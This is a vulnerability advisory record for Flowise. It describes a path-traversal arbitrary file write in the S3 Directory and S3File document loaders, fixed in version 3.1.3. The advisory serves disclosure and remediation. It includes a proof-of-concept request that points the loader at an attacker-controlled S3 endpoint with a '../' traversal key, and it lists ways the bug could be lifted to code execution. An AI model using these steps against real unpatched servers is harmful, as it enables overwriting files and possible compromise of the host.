{"id":"GHSA-88pr-878c-24wf","aliases":[],"url":"https://o3.security/vulnerability/GHSA-88pr-878c-24wf","summary":"Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys                                                                                                  ","details":"## Summary                                                                                                                                                                                                   \n                                          \n  Flowise on current `main` allows an authenticated user with\n  `documentStores:preview-process` permission to trigger the `S3 Directory`                                                                                                                                    \n  document loader with attacker-controlled S3 object keys. The loader joins\n  each returned S3 key with a temporary directory using `path.join(tempDir, key)`                                                                                                                              \n  and writes the object bytes to disk **without validating traversal sequences\n  such as `../`**. Cleanup later removes only the original temporary directory,\n  so files written outside that directory persist on the host filesystem.                                                                                                                                      \n                                                                                                                                                                                                               \n  This yields **arbitrary file write** with the privileges of the Flowise                                                                                                                                      \n  server process.                                                                                                                                                                                              \n                                                                                                                                                                                                               \n  A related variant exists in the `S3File` loader when                                                                                                                                                         \n  `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior                                                                                                                                 \n  turns it into a mixed arbitrary write/delete/DoS primitive).                                                                                                                                     \n                                                                                                                                                                                                               \n  ## Affected component                                                                                                                                                                                        \n                                                                                                                                                                                                               \n  - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts`\n    - line **191**: `filePath = path.join(tempDir, key)` (unsanitized)                                                                                                                                         \n    - line **213**: recursive `mkdirSync` creates parent path                                                                                                                                                  \n    - line **216**: `writeFileSync` writes attacker-controlled bytes                                                                                                                                           \n    - line **289**: cleanup only removes the original `tempDir`, so escaped                                                                                                                                    \n      files remain on disk                                                                                                                                                                                     \n  - Related (variant):                                                                                                                                                                                         \n    `packages/components/nodes/documentloaders/S3File/S3File.ts`                                                                                                                                               \n    (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)\n                                                                                                                                                                                                               \n  ## Reachability                                                                                                                                                                                              \n                                                                                                                                                                                                               \n  - Routes exposed:                                                                                                                                                                                            \n    `packages/server/src/routes/documentstore/index.ts:41,45`                                                                                                                                                  \n    (`/api/v1/document-store/loader/preview`,                                                                                                                                                                  \n     `/api/v1/document-store/loader/process/:loaderId`)                                                                                                                                                        \n  - Both require `documentStores:preview-process`                                                                                                                                                              \n  - `packages/server/src/services/documentstore/index.ts:588` passes                                                                                                                                           \n    `data.loaderConfig` straight to the loader node **with no path                                                                                                                                             \n    sanitization**                                                                                                                                                                                             \n  - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not\n    need access to an existing trusted AWS bucket** — they can point Flowise                                                                                                                                   \n    at a local MinIO or any S3-compatible endpoint they control                                                                                                                                                \n                                                                                                                                                                                                               \n  ## Impact                                                                                                                                                                                                    \n                                                                                                                                                                                                               \n  - Authenticated arbitrary file write to any path writable by the Flowise                                                                                                                                     \n    process                                                                                                                                                                                                    \n  - Destructive overwrite of application data, secrets, or configuration                                                                                                                                       \n  - Deployment-dependent lift to RCE if the service account can modify                                                                                                                                         \n    executable, startup, or interpreter-loaded files                                                                                                                                                           \n    (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets,                                                                                                                                     \n    `package.json` postinstall scripts). This is not guaranteed                                                                                                                                                \n    product-wide.                         \n                                                                                                                                                                                                               \n  ## Preconditions                                                                                                                                                                                             \n                                                                                                                                                                                                               \n  - Flowise instance running (HTTP server mode)                                                                                                                                                                \n  - Attacker has a workspace account with the                                                                                                                                                                  \n    `documentStores:preview-process` role                                                                                                                                                                      \n  - No additional infrastructure required — `serverUrl` can point to                                                                                                                                           \n    attacker-controlled S3-compatible endpoint                                                                                                                                                                 \n                                                                                                                                                                                                               \n  ## Proof of Concept                                                                                                                                                                                          \n                                                             \n  1. Authenticate as a user with `documentStores:preview-process`\n  2. Run an S3-compatible server the attacker controls (e.g. MinIO)                                                                                                                                            \n  3. Create an object with a traversal key such as:                                                                                                                                                            \n     `../../../../tmp/flowise-poc.txt`                                                                                                                                                                         \n  4. Trigger:                                                                                                                                                                                                  \n     POST /api/v1/document-store/loader/preview                                                                                                                                                                \n     (or /api/v1/document-store/loader/process/:loaderId)    \n     body: {                                                                                                                                                                                                   \n       \"loaderId\": \"s3Directory\",         \n       \"loaderConfig\": {                                                                                                                                                                                       \n         \"serverUrl\": \"http://attacker-minio:9000\",                                                                                                                                                            \n         \"bucketName\": \"attacker-bucket\",                                                                                                                                                                      \n         \"prefix\": \"\",                                                                                                                                                                                         \n         \"credential\": \"\"                                    \n       }                                                                                                                                                                                                       \n     }                                                       \n  5. Observe that Flowise writes the object bytes to the escaped path                                                                                                                                          \n  6. Observe that cleanup removes only the original temp directory; the\n  escaped file persists                                                                                                                                                                                        \n                                                                                                                                                                                                               \n  Local reproduction confirmed: writing a key containing     \n  `../../escape-target/poc.txt` from a nested temp root created the file                                                                                                                                       \n  outside the temp directory, and the cleanup removed only `tempDir`.   \n                                                                                                                                                                                                               \n  ## Root Cause                                                                                                                                                                                                \n                                                             \n  The loader trusts S3 object keys as safe local relative paths. It should                                                                                                                                     \n  canonicalize the destination with `path.resolve(...)`, verify the resolved                                                                                                                                   \n  path remains within the intended temp directory, and reject traversal or                                                                                                                                     \n  absolute-path patterns before any directory creation or file write.                                                                                                                                          \n                                                                                                                                                                                                               \n  ## Suggested Remediation                                                                                                                                                                                     \n                                                                                                                                                                                                               \n  The repository already has shared path validators that are not used here:                                                                                                                                    \n                                                                                                                                                                                                               \n  - `packages/components/src/validator.ts:35` defines traversal checks\n  - `packages/components/src/validator.ts:295` defines `sanitizeFileName`                                                                                                                                      \n                                                                                                                                                                                                               \n  Recommended fix:                                                                                                                                                                                             \n                                                                                                                                                                                                               \n  1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow                                                                                                                                          \n  2. Reject any resolved path outside `tempDir`                                                                                                                                                                \n  3. Prefer a sanitized basename if directory structure is not required\n  4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)","published":"2026-08-04T17:43:45Z","modified":"2026-08-04T18:00:18.058667228Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"flowise-components","fixedVersion":"3.1.3"},{"ecosystem":"npm","name":"flowise","fixedVersion":"3.1.3"}],"fix":{"url":"https://github.com/FlowiseAI/Flowise/pull/6549","label":"FlowiseAI/Flowise#6549"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-88pr-878c-24wf"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/pull/6549"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/commit/571b5d6218b1c129588ac625c8f20e30905a67cb"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-04T18:00:18.058667228Z"}}